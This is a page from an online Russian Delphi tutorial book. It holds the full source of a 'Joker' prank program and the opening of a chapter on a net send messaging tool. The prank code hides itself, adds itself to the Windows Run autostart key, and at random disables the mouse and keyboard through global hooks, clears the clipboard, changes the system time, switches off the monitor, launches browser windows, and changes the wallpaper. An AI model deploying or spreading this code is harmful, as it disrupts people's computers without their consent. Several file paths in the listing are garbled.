Категории
Самые читаемые
onlinekniga.com » Компьютеры и Интернет » Программирование » Delphi. Учимся на примерах - Сергей Парижский

Delphi. Учимся на примерах - Сергей Парижский

Читать онлайн Delphi. Учимся на примерах - Сергей Парижский

Шрифт:

-
+

Интервал:

-
+

Закладка:

Сделать
1 ... 18 19 20 21 22 23 24 25 26 ... 35
Перейти на страницу:

unit Unit1;

interface

uses

 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;

type

 TForm1 = class(TForm)

 Timer1: TTimer;

 procedure Timer1Timer(Sender: TObject);

 procedure FormPaint(Sender: TObject);

 procedure FormCreate(Sender: TObject);

private

 { Private declarations }

public

 { Public declarations }

end;

var

 Form1: TForm1;

 //для отключения мыши и клавиатуры

 Dummy: integer = 0;

 OldKbHook: HHook = 0;

 //для снятия копии экрана

 ВМР1: Graphics.TBitmap;

 DC1: HDC;

 Image1: TImage;

 // для поиска случайного рисунка

 fn: TSearchRec;

 Finds: integer;

 i: integer;

 endval: integer;

 err_str: string;//вывод ошибки

 tm: TSystemTime; //изменение времени

 reg: TRegistry; //для работы с реестром

 JokeNum: shortint; //номер шутки, которую следует выполнить

 curs: TRect; //координаты прямоугольника

implementation

procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

 reg:= TRegistry.Create;

 reg.RootKey:= hkey_current_user;

 if reg.OpenKey('Control PanelDesktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

 //растянуть рисунок на весь экран

 reg.WriteString('TileWallpaper', '1');

 with reg do begin

  WriteString('Wallpaper', sWallpaperBMPPath);

  if bTile then begin

   WriteString('TileWallpaper', '1');

  end

  else begin

   WriteString('TileWallpaper', '0');

  end;

 end;

 reg.Free;

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end;

function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

 if code < 0 then

  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

 else

  Result:= 1;

end;

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);

var

 JokeNum: shortint;

 curs: TRect;

begin

 JokeNum:= Random(10) + 1;

 case JokeNum of

  1: begin //Уменьшить диапазон движения мыши

   curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

   ClipCursor(Scurs);

  end;

  2: begin //Отключить мышь

  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

  OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

  end;

  3: begin //отключить клавиатуру

   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

   OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

  end;

  4: begin //Очистить буфер обмена

   ClipBoard.Open;//открываем буфер обмена

   ClipBoard.Clear;//очищаем буфер обмена

   //Помещаем в буфер обмена свой текст

   Clipboard.asText:= 'Буфер обмена временно не работает!';

   ClipBoard.Close; //закрываем буфер обмена

  end;

  5: begin // сделать копию экрана и назначить её фоном

   ВМР1:= Graphics.TBitmap.Create;

   //задаем размеры рисунка такие же,как размеры экрана

   BMP1.Height:= Screen.Height;

   BMP1.Width:= Screen.Width;

   DC1:=GetDC(0);

   //Делаем копию экрана

   BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

   Form1.Visible:= True;//восстанавливаем окно нашей программы

   Image1:= TImage.Create(nil);

   BMP1.IgnorePalette:= True;

   Image1.Picture.Assign(BMP1);

   BMP1.SaveToFile('с:1.bmp'); //сохраняем снимок в файл 1.bmp

   SetWallpaper('с:1.bmp', False); //назначаем снимок, как фон

   Repaint; //обновляем

  end;

  6: begin // Найти случайный рисунок и сделать его фоновым

   endval:= Random(10) + 5; //для случайности выбора рисунка

   //ищем все файлы с расширением *.bmp в каталоге Windows

   Finds:= FindFirst('С:Windows*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайное число, 0 или 1

   //если выпала 1, то устанавливаем первый попавшийся рисунок

   if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначе…

    for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищем другие рисунки

     //выбираем любой другой рисунок и делаем его фоновым

     if i = endval – 3 then SetWallpaper(fn.Name, False);

    end;

   end;

   FindClose(fn); //завершаем поиск

  end;

  7: begin //Выключить монитор

   SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

  end;

  8: begin //Сообщение об "ошибке"

   for i:=1 to 200 do begin

    case i of

    //после каждого 25-го числа – перенос на новую строку

    25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

    end;

    //текст "ошибки"

    err_str:= err_str + IntToStr(Random(99999));

   end;

   MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

  end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

    ShellExecute(0, 'open', 'C:Program Fileslnternet Explorer' +

     'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

  end;

 10: begin //Перевести время

   GetLocalTime(tm); //узнаем текущую дату и время

   tm.wYear:= 2000; //устанавливаем год

   tm.wMonth:= 01; //месяц

   tm.wDay:= 01; //день

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //минуты

   tm.wSecond := 1; //секунды

   tm.wMilliseconds := 0; //мс

   SetLocalTime(tm); //устанавливаем новую дату и время

  end;

 end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

 reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

 if reg.OpenKey('SoftwareMicrosoftWindows' +

  'CurrentVersionRun', True)

 then begin

  //записываем ссылку на нашу программу в автозагрузку

  reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

 end;

end;

end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.

Глава 15

Отправка сообщений в локальной сети

Постановка задачи

Разработать программу, которая будет предоставлять интерфейс для использования стандартной для Win2000/XP команды передачи сообщений net send. Дать возможность указать пользователю адрес получателя, текст сообщения и количество отправляемых сообщений. Также предусмотреть возможность установки блокировки на получение сообщений от других компьютеров.

Разработка формы

Создайте новый проект Delphi. Измените заголовок формы (свойство Caption) на Net Sender. Разместите вдоль левого края формы один над другим три компонента Label категории Standard и присвойте их свойству Caption значения IP-адрес:, Сообщение: И Количество:.

Рядом с каждой из меток разместите по компоненту Edit категории Standard. Самый верхний назовите ip (свойство Name), а свойству Text присвойте значение 192.168.0.1.; среднее поле назовите txt, а свойству Text присвойте какой-либо текст сообщения по умолчанию; самое нижнее поле назовите how, а свойству Text присвойте значение 1.

Под перечисленными компонентами разместите компонент Checkbox категории Standard. Присвойте ему имя secure, свойству Caption присвойте значение Отключить прием сообщений, а свойству Checked — значение True.

В самом низу формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Send. Также нам понадобится таймер (компонент Timer категории System), для которого свойству Interval следует присвоить значение 10.

1 ... 18 19 20 21 22 23 24 25 26 ... 35
Перейти на страницу:
На этой странице вы можете бесплатно читать книгу Delphi. Учимся на примерах - Сергей Парижский.
Комментарии